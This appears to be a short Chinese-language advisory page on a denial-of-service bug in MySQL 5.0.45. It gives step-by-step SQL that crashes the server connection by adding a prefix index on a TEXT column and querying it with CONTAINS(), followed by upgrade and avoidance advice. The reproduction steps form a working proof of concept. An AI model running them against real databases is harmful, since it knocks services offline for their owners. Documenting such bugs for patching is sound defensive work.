首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 5.0.45 ALTER TABLE 拒絕服務漏洞分析

     編輯:MySQL 資料庫相關知識

漏洞概述

MySQL 5.0.45 及可能影響至 6.0 版本,存在一個拒絕服務漏洞。攻擊者需擁有 ALTER 權限即可觸發。

複現步驟

-- 1. 建立測試表
CREATE TABLE `test` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
  `foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

-- 2. 正常查詢 (無索引時)
SELECT * FROM test WHERE CONTAINS(foo, 'bar');
-- 回傳 Empty set

-- 3. 對 text 欄位建立前綴索引
ALTER TABLE test ADD INDEX (foo(100));

-- 4. 再次執行相同查詢
SELECT * FROM test WHERE CONTAINS(foo, 'bar');
-- 導致 ERROR 2013: Lost connection to MySQL server during query

影響與修補

  • 建立前綴索引後,使用 CONTAINS() 函數查詢會導致伺服器斷線。
  • 官方後續版本已修復,建議升級至最新穩定版。
  • 若無法立即升級,避免在 TEXT/BLOB 欄位建立前綴索引並搭配 CONTAINS() 使用。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved